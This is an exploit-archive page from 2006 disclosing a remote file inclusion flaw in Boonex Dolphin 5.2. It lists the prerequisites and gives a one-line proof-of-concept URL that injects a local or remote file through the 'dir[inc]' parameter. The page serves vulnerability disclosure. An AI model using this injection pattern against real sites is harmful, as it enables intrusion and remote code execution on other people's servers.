Home / exploits

PDF

BoonexDolphin5.2.txt

Posted on 21 October 2006

/****************************************/

http://www.w4cking.com

CREDIT:
w4ck1ng.com

PRODUCT:
Boonex Dolphin 5.2
http://www.boonex.com/products/dolphin/

VULNERABILITY:
Remote File Inclusion

NOTES:
- requires register globals on
- requires magic quotes off

POC:
<host>/<path>/templates/tmpl_dfl/scripts/index.php?dir[inc]=<local/remotefile>

ADVISORY & EXPLOIT (requires registration):
http://w4ck1ng.com/board/showthread.php?t=1490

/****************************************/

 

TOP